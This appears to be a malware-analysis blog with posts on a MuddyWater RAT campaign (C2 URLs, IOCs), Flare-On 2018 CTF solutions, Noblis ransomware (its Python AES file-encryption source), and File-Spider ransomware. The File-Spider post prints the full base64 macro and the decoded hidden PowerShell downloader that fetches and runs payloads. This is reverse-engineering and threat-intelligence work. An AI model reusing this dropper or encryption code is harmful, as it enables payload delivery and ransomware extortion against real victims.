This is all about malware analysis, reverse engineering and some cool stuff

Friday 11 January 2019

A new MuddyWater APT campaign spreads Backdoor RAT

January 11, 2019 Posted by SDKHERE , , , , , , No comments


MuddyWater is an APT group that has been active throughout 2017, targeting victims in the Middle East with in-memory vectors leveraging on Powershell.
In October 2018, Kaspersky Lab has already published a good analysis report on the malwares by this APT group.

Here I am publishing my analysis report on recent malware by this APT group which targetted several parts of the Middle East.
Sample -  8899c0dac9f6bb73ce750ae7b3250dbd (Virustotal)
References :
https://www.vmray.com/analyses/c873532e009f/report/overview.html
https://twitter.com/360TIC/status/1081080752438009856
https://www.virustotal.com/#/file/c873532e009f2fc7d3b111636f3bbaa307465e5a99a7f4386bebff2ef8a37a20/detection


The document has obfuscated macro code which contains encrypted binary data. On execution, it decrypts the data and drops files and execute it.
The decryption function used in VBS macro is shown below.

With the help of this function, it decrypts lin(0) of the code shown in below image which is nothing but the header of a PE file.

The macro concatenate above lines and converts it in Ascii and stores it at "C:\users\public" with the name of "temp_rt_32.exe".
After that, it concatenates another code shown below and stores it at the same location with the name of "Data.zip"

Location - C:\Users\Public
After that, the document ShellExecute the temp_rt_32.exe and exit itself.

temp_rt_32.exe :
temp_rt_32.exe is a UPX packed Delphi file. On execution, it extracts the data.zip file at %PUBLIC% location and executes "GoogleUpdate.exe"
And then it imports UP.txt file to the registry which is nothing but the RUN entry of GoogleUpdate.exe with the name of DVRStudio and exit itself.




GoogleUpdate.exe :
GoogleUpdate.exe is a RAT which downloads another malware in the system or uploads user's files to command and control server.
First of all, it creates a path ""\\Windows\\Microsoft\\FrameWork4""  in %APPDATA%.
Then it creates a unique machine ID by Base64 of username and Volume serial number. 
ID = base64_encode(username_volumeserialnumber)

After that, it checks the internet connectivity by resolving google.com. If it returns true, it will do the malicious activity otherwise it will wait for 5min.


If the internet is connected then it reads "C:\Users\Public\temp_gh_12.dat" which has following encoded data.
"NAAbYiYadQF4QQAAMXo2Oic7CT4nORx/N3oYKwReWSMEMwAuCGxlX3ZUYmEHEh4+Gz0RPxgVBi8QYBY/aWITJQQGImZ2Y1cLdncHIQ8iHywJMhAgHxgfJRx1GUlvEhl9HRIIUG1wclB9Zw8/AiwQPQYCDmMCOBxv"

The above function will Base64 decode the data of temp_gh_12.data, XOR the decoded data with the hardcoded key and then again Base64 decode the decrypted data.

Here the key is "UHIRER874893UIUOFUGHEWROUIRGH35"
so after decryption of temp_gh_12.dat file, it shows up a below URL.
hxxps://www.jsonstore.io/4de4d6d84d17638b3cd0eaf18857784aff27501be7d3dd89fad2b7ac2134f52e
The sample downloads the JSON file from the above URL and gets the URL of the CnC server.

Above jsonstore api has two CnC URLs. The sample will parse this URLs and proceed with the active one.
When it finds the active URL, It takes infected machine information, encode and encrypt it and stores it at %APPDATA%\\Windows\\Microsoft\\FrameWork4 with the name id_uniqueID (eg. id_dXTlbl9DRT).

The information is in below format.
MachineName_UserName_UserDomainName_OperatingSystem_DateTime_IPAddress_ServerURL
Each info is first encoded with Base64 and then XOR encrypted by hardcoded key.

The sample reads this info from the file and sends it to the CnC server at the below URL.
hxxp://shopcloths.ddns.net/users.php?tname=id_UniqueID&path=Users

The sample has Base64 encoded and XOR encrypted PowerShell script which is decrypted by the same encryption and encoded method describe above.

The decrypted PowerShell script looks like below.

The first function of the script gives all the usernames available in the system.
The second function will give all the environment variables present in the system path and all the services which are currently running in the system.
ipconfig /all - gives the network info of the system.

The sample runs this script and takes the output, encode and encrypt it with the same method described above and then stores it at %APPDATA%\\Windows\\Microsoft\\FrameWork4\\res_uniqueID.frk

After that, it reads the same file and send it to CnC server at below location and then deletes the file.
hxxp://shopcloths.ddns.net/users.php?tname=res_uniqueID.frk&path=Data

After all these initialization steps, control transfer to an infinite loop which takes care of all the action coming from server and act accordingly.

This loop first checks the internet connection by pinging to google.com then it checks server connectivity by sending follwing request to server and comparing output with the hardcoded value.
hxxp://shopcloths.ddns.net/users.php?root=random_chars
The output of this request should be "wYbaej5avYrFb" which is hardcoded in the sample.

After handshaking, it reads action command by sending a request to following server URL with the unique machine ID.
hxxp://shopcloths.ddns.net/users.php?readme=Data/uniqueID

Currently, there are only three commands are present in this version.
1. Download Filename URL: It downloads a file from URL and saves it as Filename at %APPDATA%\\Windows\\Microsoft\\FrameWork4
2. Upload FilePath: It uploads FilePath on the server at URL hxxp://shopcloths.ddns.net/users.php?tname=randomname.extension&path=Data

3. Powershell script: If the response of server is encoded and encrypted PowerShell script then it will run by the third function which is shown below.


IOCs :

Malicious word document : 8899c0dac9f6bb73ce750ae7b3250dbd
Zip dropper (temp_rt_32.exe) : 7C3DD70A4B1976481913E6B5A1FFBB77
Zip File (data.zip) : 5DB43101417247AE161C4425D0B96A70
RAT (GoogleUpdate.exe) : 6F44E57C81414355E3D0D0DAFDF1D80E

CnC URLs hosted on : hxxps://www.jsonstore.io/4de4d6d84d17638b3cd0eaf18857784aff27501be7d3dd89fad2b7ac2134f52e
CnC URL : hxxp://shopcloths.ddns.net/users.php?
CnC URL : hxxp://getgooogle.hopto.org/users.php?


Update - 13 Jan 2019

I have found some similar and recent malwares on Virustotal. All these samples have only one embedded PE file (GoogleUpdate.exe) which will be dropped in %TEMP%. In my case, this GoogleUpdate.exe was a Dotnet file embedded in the data.zip file and which was executed by temp_rt_32.exe. but here GoogleUpdate.exe is also a Dotnet file packed with enigma virtual box packer. Other than this, all the process and CnC servers are similar.
Here are the latest documents: (MD5)
d5f76641176d78477e14fde7ae073752
f589af2ae8f1ace804ef5745feeb6d5c
44284b5eb3b6da8c988924907478adbd
85b3f269251d805d3e2f78d37aeb1744
92816bd34efb6f8b7149d6c2c1545d6a
9f092a060381db4ed63d4e96da5c8d54



Monday 1 October 2018

Flare-On Challenge 2018 Writeup

October 01, 2018 Posted by SDKHERE No comments
Flare-on is an annual CTF challenge organized by Fire-eye with a focus on reverse engineering.
Overall, there were 12 challenges to complete similar to the last year 2017. Instead of the detailed write-up, I am just covering the important parts.
Following are the instructions to solve these challenges:
1. Analyse the sample and find the key
2. Each key looks like an email address and ends with @flare-on.com
3. Enter the key for each challenge in Flare-on CTF app to unlock next challenge
4. Complete all the puzzles and win a prize

Flare-On 2018 challenges - download
Password - flare


Challenge 1 : MinesweeperChampionshipRegistration.jar

The first challenge is very simple. There is a jar file which is asking for an invitation code to proceed.
I have used Jd-gui tool to check the code of jar file. It is just comparing input directly to the hard-coded key.



key : GoldenTicket2018@flare-on.com


Challenge 2 : UltimateMinesweeper.exe



Challenge 3 : FLEGGO.zip

I have solved this challenge statically.
The zip contains 48 PE files and each and every file asks for the password. If you enter anything wrong it will display "Go step on a brick!". so I have loaded one file in CFF and found a resource of name "BRICK".

This BRICK is different in each and every file so I have entered the ascii of first 20bytes in the same file in place of a password. Yes I guessed it right :)


When we enter correct password it drops a png file and displays a character associated with it. Here we have "w" and the associated png file looks like below.
So this means 23rd character of our key will be "w".
I have created a below python script to automate this for every file and extracted all the png and their associated characters.


marker = "\x42\x00\x52\x00\x49\x00\x43\x00\x4B\x00\x00\x00\x00\x00"
for file in files:
 filepath = os.path.join(directory, file)
 data = open(filepath, 'rb').read()
 password = data.split(marker)[1][:0x20]
 password = password.replace('\x00','')
 p1 = subprocess.Popen(filepath, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
 res = p1.communicate(input=password)
 res = res[0].split('\r\n')
 png_name = res[2].split('=>')[0].strip()
 charname = res[2].split('=>')[1].strip()
 png_path = os.path.join(directory, png_name)
 new_png_path = os.path.join(directory, charname+'_'+png_name)
 os.rename(png_path, new_png_path)

Key : mor3_awes0m3_th4n_an_awes0me_p0ssum@flare-on.com


Challenge 4 : binstall.exe
This is confuser packed DotNet binary. After execution, It drops a DLL in %APPDATA%\Microsoft\Internet Explorer\ with name browserassist.dll and adds its path to AppInit_DLLs registry (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs). This is one of the DLL injection technique. AppInit DLLs are loaded by user32.dll after it has been loaded.
When you debug standalone DLL with ollydbg, you will find below code.
The first function calculates crc32 of parent process name and compares it with some hard-coded value. so this dll must be injected into some specific process, the hint is already given in the instruction like "especially if they are a Firefox user". so If you replace loaddll.exe with firefox.exe then checksum will definitely match.
The second function calls GetVersionInfoA API to fetch the version of the parent process (firefox.exe) and compares it with >55. It requires firefox of version less than 55 to proceed further otherwise it will exit.
If both these function succeed, it will create a thread to proceed further.

This thread downloads base4 encoded and encrypted data from URL hxxp://pastebin.com/raw/hvaru8NU and decode and decrypt it using RC4 algorithm with the key md5("FL@R3ON.EXE"). After decrypted code is json file which looks like below.

This is web injection technique similar to TinyNuke malware. At the last DLL injects this json into firefox. If the webpage contains "code" section shown in json then it will replace by "content" section. In the end of this json file, host and file path is already given.
"path": "/js/view.js",
"host": "*flare-on.com"
So the web-injection is going to happen in flare-on.com only.
If you open flare-on.com in infected firefox you will see the changes in the code.
You have to compare the code of original site and infected site and understand what that extra code is doing. It has added an extra command "su" to get the password. It takes the password and compares it with 10 different characters. After RE of that code, you will get the password of size 10 chars.
password : k9btBW7k2y
The story is not over yet. You need to understand the extra piece of code like what happens when the user is superuser (su). there is a hidden directory of name "Key". If you get in there then you will get the key.
cd Key
ls

Key : c0Mm4nD_inJ3c7ioN@flare-on.com


Challenge 5 : web2point0 (wasm)

This is very interesting and new challenge.
It contains 3 files. index.html, main.js and test.wasm
The index.html loads main.js and main.js executes test.wasm file.
The main.js takes the parameter from URI variable "q" and calls webassembly(wasm file) with this parameter, If the return value is 1, it will show party popper otherwise Pile of Poo.
I have used firefox for webassembly debugging.
I have appended the parameter in URL like ?q="abcdefgh" and checked where these parameter is being used by step by step debugging. I know this is painful but there was no other way :(
It was comparing each byte of the parameter with some value, I set a breakpoint at the comparison and recorded each value.

0xBF2 is where it is comparing parameters with constant values.

 Key : wasm_rulez_js_droolz@flare-on.com


Challenge 6 : magic



This loop runs 666 times and it changes the magic file in every iteration.
It asks for the key and when you enter the key it will be processed by sub_402DCF function only.

Wednesday 13 December 2017

Analysis of Noblis In-dev Ransomware

December 13, 2017 Posted by SDKHERE , , , No comments
Noblis is in-development ransomware which is built in python and packed by PyInstaller.
You can refer my previous blog to know how to identify and reverse python built execuctables.

We have following sample:
Hash : 3BEEE8D7F55CD8298FCB009AA6EF6AAE [App.Any]

The sample is UPX packed, after unpacking we get following sample.
Hash : A886E7FAB4A2F1B1B048C217B4969762

The binary has many python reference strings and a zlib archive appended to it as an overlay.
You can use PyExtractor tool to extract the python code from the binary.

After extraction we get AES encrypted python modules.
AES key is present in file pyimod00_crypto_key which is "9876501234DAVIDM" and you can use below script to extract those modules.

from Crypto.Cipher import AES
import zlib
import sys

CRYPT_BLOCK_SIZE = 16

# key obtained from pyimod00_crypto_key
key = '9876501234DAVIDM'

inf = open(sys.argv[1], 'rb') # encrypted file input
outf = open(sys.argv[1]+'.pyc', 'wb') # output file 

# Initialization vector
iv = inf.read(CRYPT_BLOCK_SIZE)

cipher = AES.new(key, AES.MODE_CFB, iv)

# Decrypt and decompress
plaintext = zlib.decompress(cipher.decrypt(inf.read()))

# Write pyc header
outf.write('\x03\xf3\x0d\x0a\0\0\0\0')

# Write decrypted data
outf.write(plaintext)

inf.close()
outf.close()

Let's move towards the ransomware.
On execution of ransomware, It creates a mutex of name "mutex_rr_windows", if the mutex is already created it will open only gui panel otherwise it runs crypter.
The main wrapper of this ransomware is below.

  def __init__(self):
    '''
    @summary: Constructor
    '''
    self.__config = self.__load_config()
    self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt")

    # Init Crypt Lib
    self.Crypt = Crypt.SymmetricCrypto()

    # FIRST RUN
    # Encrypt!
    if not os.path.isfile(self.encrypted_file_list):
      self.Crypt.init_keys()
      file_list = self.find_files()
      # Start encryption
      self.encrypt_files(file_list)
      # If no files were encrypted. do nothing 
      if not os.path.isfile(self.encrypted_file_list):
          return
      # Present GUI
      self.start_gui()
    # ALREADY ENCRYPTED
    # Present menu
    elif os.path.isfile(self.encrypted_file_list):
      self.start_gui()

It checks a file encrypted_files.txt in %APPDATA%, if it is not there it will proceed the encryption.
It initializes the encryption key, find the specified files for encryption, encrypt them, makes entry of each encrypted file in encrypted_files.txt and displays a gui form.



The ransomware has independent configuration file (runtime.cfg) which is loaded at runtime.
Configuration file has encrypted file extension, ransom note, file type to be encrypted, BTC amount, wallet address etc.



Here, wallet address is invalid that's why we are calling it in-development ransomware.
Ransom note is in Spanish and it points to an handle @4v4t4r.

Let's have a look at encryption process.

    def init_keys(self, key=None):
        """
        @summary: initialise the symmetric keys. Uses the provided key, or creates one
        @param key: If None provided, a new key is generated, otherwise the provided key is used
        """
        if not key:
            self.load_symmetric_key()
        else:
            self.key = key

    def load_symmetric_key(self):
        if os.path.isfile('key.txt'):
            fh = open('key.txt', 'r')
            self.key = fh.read()
            fh.close()
        else:
            self.key = self.generate_key()

    def generate_key(self):
        key = ('').join((random.choice('0123456789ABCDEF') for i in range(32)))
        fh = open('key.txt', 'w')
        fh.write(key)
        fh.close()
        return key
  
    def encrypt_file(self, file, extension):
        """
        @summary: Encrypts the target file
        @param file: Absolute path to the file to encrypt
        @param extension: The extension to add to the encrypted file
        """
        file_details = self.process_file(file, 'encrypt', extension)
        if file_details['error']:
            return False
        try:
            fh_read = open(file_details['full_path'], 'rb')
            fh_write = open(file_details['locked_path'], 'wb')
        except IOError:
            return False

        while True:
            block = fh_read.read(self.BLOCK_SIZE_BYTES)
            if not block:
                break
            to_encrypt = self.pad(block)
            iv = Random.new().read(AES.block_size)
            cipher = AES.new(self.key, AES.MODE_CBC, iv)
            try:
                ciphertext = iv + cipher.encrypt(to_encrypt)
            except MemoryError:
                return False

            fh_write.write(ciphertext)

        fh_write.close()
        fh_read.close()
        file_details['state'] = 'encrypted'
        return file_details['locked_path']

If key.txt is not present in current directory, It will generates a AES key of size 32 bytes and store it on key.txt and at the time of encryption it generates an Initial Vector (IV), encrypts the files with AES-256 having extensions specified in configuration file.
First 16 bytes of every encrypted file is IV and rest are encrypted with this IV and key stored in key.txt.

After encryption of every files it will start a GUI panel shown below.


Decryption tool -


The ransomware has the code for RSA encryption but it is not used here, maybe it will come with RSA encryption in next version.


class GenerateKeys:

    def __init__(self):
        self.local_public_key = ''
        self.local_private_key = ''
        self.key_length = 2048
        rsa_handle = RSA.generate(self.key_length)
        self.local_private_key = rsa_handle.exportKey('PEM')
        self.local_public_key = rsa_handle.publickey()
        self.local_public_key = self.local_public_key.exportKey('PEM')


class EncryptKey:

    def __init__(self, recipient_public_key, sym_key):
        self.recipient_public_key = recipient_public_key
        self.key_to_encrypt = str(sym_key)
        self.encrypted_key = self.encrypt_key()

    def encrypt_key(self):
        rsa_handle = RSA.importKey(self.recipient_public_key)
        key = rsa_handle.encrypt(self.key_to_encrypt, 1)
        return key


class DecryptKey:

    def __init__(self, private_key, sym_key, phrase):
        self.private_key = private_key
        self.key_to_decrypt = sym_key
        self.phrase = phrase
        self.decrypted_key = self.decrypt_key()

    def decrypt_key(self):
        rsa_handle = RSA.importKey(self.private_key, self.phrase)
        key = rsa_handle.decrypt(self.key_to_decrypt)
        return key



Monday 11 December 2017

Analysis of File-Spider Ransomware

December 11, 2017 Posted by SDKHERE , , , , , 1 comment
MD5: de7b31517d5963aefe70860d83ce83b9 [VirusTotal]
FileName: BAYER_CROPSCIENCE_OFFICE_BEOGRAD_93876.doc
FileType: MS Word Document

The Word file has embedded macro.
When you look into macro code, you will find below snippet.

Private Function decodeBase64(ByVal strData As String) As Byte()
    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    
    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    decodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing
End Function

Private Function str() As String

str = "cG93ZXJzaGVsbC5leGUgLXdpbmRvd3N0eWxlIGhpZGRlbiAkZGlyID0gW0Vudmlyb25tZW50XTo6R2V0Rm9sZGVyUGF0aCgnQXBwbGljYXRpb25EYXRhJykgKyAnXFNwaWRlcic7JGVuYyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjg7ZnVuY3Rpb24geG9yIHtwYXJhbSgkc3RyaW5nLCAkbWV0aG9kK"
str = str + "SR4b3JrZXkgPSAkZW5jLkdldEJ5dGVzKCdBbGJlclRJJyk7JHN0cmluZyA9ICRlbmMuR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHN0cmluZykpOyRieXRlU3RyaW5nID0gJGVuYy5HZXRCeXRlcygkc3RyaW5nKTskeG9yZERhdGEgPSAkKGZvciAoJGkgPSAwOyAkaSAtbH"
str = str + "QgJGJ5dGVTdHJpbmcubGVuZ3RoKXtmb3IoJGogPSAwOyAkaiAtbHQgJHhvcmtleS5sZW5ndGg7ICRqKyspeyRieXRlU3RyaW5nWyRpXSAtYnhvciAkeG9ya2V5WyRqXTskaSsrO2lmKCRpIC1nZSAkYnl0ZVN0cmluZy5MZW5ndGgpeyRqID0gJHhvcmtleS5sZW5ndGh9fX0pOyR4b3JkRGF0YSA9ICRlbmMuR2V"
str = str + "0 U3RyaW5nKCR4b3JkRGF0YSk7cmV0dXJuICR4b3JkRGF0YX07ZnVuY3Rpb24gZGF0YSB7cGFyYW0oJG1ldGhvZCkkd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsgaWYgKCRtZXRob2QgLWVxICdkJyl7JGlucHV0ID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZygnaHR0cDov"
str = str + "L3lvdXJqYXZhc2NyaXB0LmNvbS81MTE4NjMxNDc3L2phdmFzY3JpcHQtZGVjLTItMjUtMi5qcycpfWVsc2V7JGlucHV0ID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZygnaHR0cDovL3lvdXJqYXZhc2NyaXB0LmNvbS81MzEwMzIwMTI3Ny9qYXZhc2NyaXB0LWVuYy0xLTAtOS5qcycpfSRieXRlcyA9IFtDb"
str = str + "252 ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyggKHhvciAkaW5wdXQgJ2QnKSApO3JldHVybiAgJGJ5dGVzfTtmdW5jdGlvbiBpbyB7cGFyYW0oJG1ldGhvZClpZigkbWV0aG9kIC1lcSAnZCcpeyRmaWxlbmFtZSA9ICRkaXIgKyAnXGRlYy5leGUnfWVsc2V7JGZpbGVuYW1lID0gJGRpciArICdcZW5jLmV4ZSd9W0"
str = str + "lPLkZpbGVdOjpXcml0ZUFsbEJ5dGVzKCRmaWxlbmFtZSwgKGRhdGEgJG1ldGhvZCkpfTtmdW5jdGlvbiBydW4ge3BhcmFtKCRtZXRob2QpaWYgKCRtZXRob2QgLWVxICdkJyl7aW8gJ2QnOyBIC1GaWxlUGF0aCAoJGRpciArICdcZGVjLmV4ZScpIC1Bcmd1bWVudExpc3QgJ3NwaWRlcid"
str = str + "9ZWxzZXtpbyAnZSc7IFN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICgkZGlyICsgJ1xlbmMuZXhlJykgLUFyZ3VtZW50TGlzdCAnc3BpZGVyJywgJ2t0bicsICcxMDAnfX07aWYoIFRlc3QtUGF0aCAkZGlyKXt9ZWxzZXttZCAkZGlyOyBydW4gJ2QnOyBydW4gJ2UnIH0="

str = StrConv(decodeBase64(str), vbUnicode)

End Function

After Base64 decoding, we will get following powershell script.

powershell.exe -windowstyle hidden $dir = [Environment]::GetFolderPath('ApplicationData') + '\Spider';$enc = [System.Text.Encoding]::UTF8;
function xor{
param($string, $method)$xorkey = $enc.GetBytes('AlberTI');
$string = $enc.GetString([System.Convert]::FromBase64String($string));
$byteString = $enc.GetBytes($string);
$xordData = $(for ($i = 0; 
$i -lt $byteString.length){for($j = 0; $j -lt $xorkey.length; 
$j++){$byteString[$i] -bxor $xorkey[$j];
$i++;if($i -ge $byteString.Length){$j = $xorkey.length}}});
$xordData = $enc.GetString($xordData);return $xordData};
function data {
param($method)$webClient = New-Object System.Net.WebClient; 
if ($method -eq 'd'){
$input = $webClient.DownloadString('http://yourjavascript.com/5118631477/javascript-dec-2-25-2.js')}
else{
$input = $webClient.DownloadString('http://yourjavascript.com/53103201277/javascript-enc-1-0-9.js')}
$bytes = [Convert]::FromBase64String( (xor $input 'd') );
return  $bytes};
function io {
param($method)
if($method -eq 'd'){
$filename = $dir + '\dec.exe'}
else{
$filename = $dir + '\enc.exe'}[IO.File]::WriteAllBytes($filename, (data $method))};
function run {
param($method)
if ($method -eq 'd'){io 'd'; 
Start-Process -FilePath ($dir + '\dec.exe') -ArgumentList 'spider'}
else{
io 'e'; Start-Process -FilePath ($dir + '\enc.exe') -ArgumentList 'spider', 'ktn', '100'}};
if( Test-Path $dir){}else{md $dir; run 'd'; run 'e' }

The PowerShell script first creates a directory %APPDATA%\Spider, downloads decryptor (dec.exe), downloads and execute encryptor (enc.exe).

Encryptor is downloaded from hxxp://yourjavascript.com/53103201277/javascript-enc-1-0-9.js which is base64 encoded and encrypted with xor, encryption key for xor is "AlberTI", so encryptor is downloaded, decrypted, saved at %APPDATA%\enc.exe and execute with 3 arguments "spider", "ktn", "100".

Similarly decryptor is downloaded from hxxp://yourjavascript.com/5118631477/javascript-dec-2-25-2.js, which is again bas64 encoded and encrypted with xor, xor key is same. It is decrypted, saved at %APPDATA%\dec.exe and executed with argument "spider".

Encryptor (enc.exe) :

MD5 : 67D5ABDA3BE629B820341D1BAAD668E3 [VirusTotal]
FileName: enc.exe
FileType: MSIL

This binary is executed with 3 arguments "spider", "ktn" and "100".
First of all it creates a Victim's ID and dumps it to %APPDATA%\Spider\id.txt


One string is created by 0x20 bytes of random number, second argument (ktn) and third argument (100). It is encrypted with RSA algorithm, RSA public key is hardcoded in the function which is-

<RSAKeyValue<Modulus>w7eSLIEBvAgxfDAH/P+ktHJa5Okev4klIRleEhAnR9/1gs5ZHySCUgidDJUVaFrplYLgMUDbsR9aUCBwf07CD8bJL6rUHqeIxpYoF2M7bGW5Vulz3w8C9WMxqnzsqfak9wbt9rT63HoZ5zPHy2ieBfkAEs3XsuaU/q2drl2mQhZodGF+nwiiwfq0gOK+XvPPp9Nq3bCPhVUBzAcp2tXcplT4GjDfSyR8M2VfRzWChipf+plUmcvUafki56ubNW9pApUpd7UOEY1UKqHneMYdVJNhNrsx3T+wJiQNKj2/NMWSfGrN9W+QAVBnqbPgxmSYhfYNy7Fra32yOZ7ho3H1sw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>

Encrypted data is encoded with base64 and saved at %APPDATA%\Spider\id.txt, which is a victim's ID and useful for decryption process.

The sample traverses each drives and encrypt those files which has following extensions.

lnk url contact 1cd dbf dt cf cfu mxl epf kdbx erf vrp grs geo st conf pff mft efd 3dm 3ds rib ma sldasm sldprt max blend 
lwo lws m3d mb obj x x3d movie byu c4d fbx dgn dwg 4db 4dl 4mp abs accdb accdc accde accdr accdt accdw accft adn a3d adp 
aft ahd alf ask awdb azz bdb bib bnd bok btr bak backup cdb ckp clkw cma crd daconnections dacpac dad dadiagrams daf daschema
db db-shm db-wal db2 db3 dbc dbk dbs dbt dbv dbx dcb dct dcx ddl df1 dmo dnc dp1 dqy dsk dsn dta dtsx dxl eco ecx edb emd eql 
fcd fdb fic fid fil fm5 fmp fmp12 fmpsl fol fp3 fp4 fp5 fp7 fpt fzb fzv gdb gwi hdb his ib idc ihx itdb itw jtx kdb lgc maq mdb 
mdbhtml mdf mdn mdt mrg mud mwb s3m myd ndf ns2 ns3 ns4 nsf nv2 nyf oce odb oqy ora orx owc owg oyx p96 p97 pan pdb pdm phm pnz 
pth pwa qpx qry qvd rctd rdb rpd rsd sbf sdb sdf spq sqb stp sql sqlite sqlite3 sqlitedb str tcx tdt te teacher tmd trm udb usr 
v12 vdb vpd wdb wmdb xdb xld xlgc zdb zdc cdr cdr3 ppt pptx 1st abw act aim ans apt asc ascii ase aty awp awt aww bad bbs bdp bdr 
bean bna boc btd bzabw chart chord cnm crwl cyi dca dgs diz dne doc docm docx docxml docz dot dotm dotx dsv dvi dx eio eit email 
emlx epp err etf etx euc fadein faq fb2 fbl fcf fdf fdr fds fdt fdx fdxt fes fft flr fodt fountain gtp frt fwdn fxc gdoc gio gpn 
gsd gthr gv hbk hht hs htc hwp hz idx iil ipf jarvis jis joe jp1 jrtf kes klg knt kon kwd latex lbt lis lit lnt lp2 lrc lst ltr 
ltx lue luf lwp lxfml lyt lyx man map mbox md5txt me mell min mnt msg mwp nfo njx notes now nwctxt nzb ocr odm odo odt ofl oft 
openbsd ort ott p7s pages pfs pfx pjt plantuml prt psw pu pvj pvm pwi pwr qdl rad readme rft ris rng rpt rst rt rtd rtf rtx run 
rzk rzn saf safetext sam scc scm scriv scrivx sct scw sdm sdoc sdw sgm sig skcard sla slagz sls smf sms ssa strings stw sty sub 
sxg sxw tab tdf tex text thp tlb tm tmv tmx tpc trelby tvj txt u3d u3i unauth unx uof uot upd utf8 unity utxt vct vnt vw wbk wcf 
webdoc wgz wn wp wp4 wp5 wp6 wp7 wpa wpd wpl wps wpt wpw wri wsc wsd wsh wtx xbdoc xbplate xdl xlf xps xwp xy3 xyp xyw ybk yml zabw
zw 2bp 036 3fr 0411 73i 8xi 9png abm afx agif agp aic albm apd apm apng aps apx art artwork arw asw avatar bay blkrt bm2 bmp bmx 
bmz brk brn brt bss bti c4 cal cals can cd5 cdc cdg cimg cin cit colz cpc cpd cpg cps cpx cr2 ct dc2 dcr dds dgt dib dicom djv djvu 
dm3 dmi vue dpx wire drz dt2 dtw dvl ecw eip exr fal fax fpos fpx g3 gcdp gfb gfie ggr gif gih gim gmbck gmspr spr scad gpd gro grob
hdp hdr hpi i3d icn icon icpr iiq info int ipx itc2 iwi j j2c j2k jas jb2 jbig jbig2 jbmp jbr jfif jia jng jp2 jpe jpeg jpg jpg2 
jps jpx jtf jwl jxr kdc kdi kdk kic kpg lbm ljp mac mbm mef mnr mos mpf mpo mrxs myl ncr nct nlm nrw oc3 oc4 oc5 oci omf oplc af2 
af3 ai asy cdmm cdmt cdmtz cdmz cdt cgm cmx cnv csy cv5 cvg cvi cvs cvx cwt cxf dcs ded design dhs dpp drw dxb dxf egc emf ep eps 
epsf fh10 fh11 fh3 fh4 fh5 fh6 fh7 fh8 fif fig fmv ft10 ft11 ft7 ft8 ft9 ftn fxg gdraw gem glox hpg hpgl hpl idea igt igx imd vbox
vdi ink lmk mgcb mgmf mgmt mt9 mgmx mgtx mmat mat otg ovp ovr pcs pfd pfv pl plt pm vrml pmg pobj ps psid rdl scv sk1 sk2 slddrt 
snagitstamps snagstyles ssk stn svf svg svgz sxd tlc tne ufr vbr vec vml vsd vsdm vsdx vstm stm vstx wmf wpg vsm vault xar xmind 
xmmap yal orf ota oti ozb ozj ozt pal pano pap pbm pc1 pc2 pc3 pcd pcx pdd pdn pe4 pef pfi pgf pgm pi1 pi2 pi3 pic pict pix pjpeg 
pjpg png pni pnm pntg pop pp4 pp5 ppm prw psd psdx pse psp pspbrush ptg ptx pvr px pxr pz3 pza pzp pzs z3d qmg ras rcu rgb rgf ric 
riff rix rle rli rpf rri rs rsb rsr rw2 rwl s2mv sai sci sep sfc sfera sfw skm sld sob spa spe sph spj spp sr2 srw ste sumo sva save 
ssfn t2b tb0 tbn tfc tg4 thm thumb tif tiff tjp tm2 tn tpi ufo uga usertile-ms vda vff vpe vst wb1 wbc wbd wbm wbmp wbz wdp webp wpb 
wpe wvl x3f y ysp zif cdr4 cdr6 cdrw pdf pbd pbl ddoc css pptm raw cpt tga xpm ani flc fb3 fli mng smil mobi swf html xls xlsx csv 
xlsm ods xhtm 7z m2 rb rar wmo mcmeta m4a itm vfs0 indd sb mpqge fos p7c wmv mcgame db0 p7b vdf DayZProfile p12 d3dbsp ztmp rofl 
sc2save sis hkx pem dbfv sie sid bar crt sum ncf upk cer wb2 ibank menu das der t13 layout t12 dmp litemod dxg qdf blob asset xf esm 
forge tax 001 r3d pst pkpass vtf bsa bc6 dazip apk bc7 fpk re4 bkp mlx sav raf qic kf lbf bkf iwd slm xlk sidn vpk bik mrwref xlsb 
sidd tor epk mddata psk rgss3a itl rim pak w3x big icxs fsh unity3d hvpl ntl wotreplay crw hplg arch00 xxx hkdb lvl desc mdbackup snx 
py srf odc syncdb cfr m3u gho ff odp cas vpp_pc js dng lrf c cpp cs h bat ps1 php asp java jar class aaf aep aepx plb prel prproj aet 
ppj indl indt indb inx idml pmd xqx fla as3 as docb xlt xlm xltx xltm xla xlam xll xlw pot pps potx potm ppam ppsx ppsm sldx sldm aif 
iff m4u mid mpa ra 3gp 3g2 asf asx vob m3u8 mkv dat efx vcf xml ses zip 7zip mp4 3gp webm wmv

Directories which are going to skip are :

"tmp", "Videos", "winnt", "Application Data", "Spider", "PrefLogs", "Program Files (x86)", "Program Files", "ProgramData", "Temp", "Recycle", "System Volume Information", "Boot", "Windows"

Each file is encrypted by AES CFB algorithm with same key which is encrypted by RSA and random 0x20 bytes of salt.



The password and salt are randomly generated.
These two are different for each file so it is prepended with encrypted file.
First 0x20 bytes is salt, 0x50 bytes is AES encrypted password and rest of them are encrypt file data.



After the encryption of each file, It will add full path of encrypted file in %APPDATA%\Spider\files.txt



In each directory, it creates an internet shortcut file of name "HOW TO DECRYPT FILES.url" which redirect to hxxps://vid.me/embedded/CGyDc?autoplay=1&stats=1. Its a video which shows how to remove rensomware by paying ransom in Bitcoin to the attacker.

It appends .spider extension to each encrypted file.


Decryptor (dec.exe) :

MD5: fdd465863a4c44aa678554332d20aee3 [VirusTotal]
FileName: dec.exe
FileType: MSIL

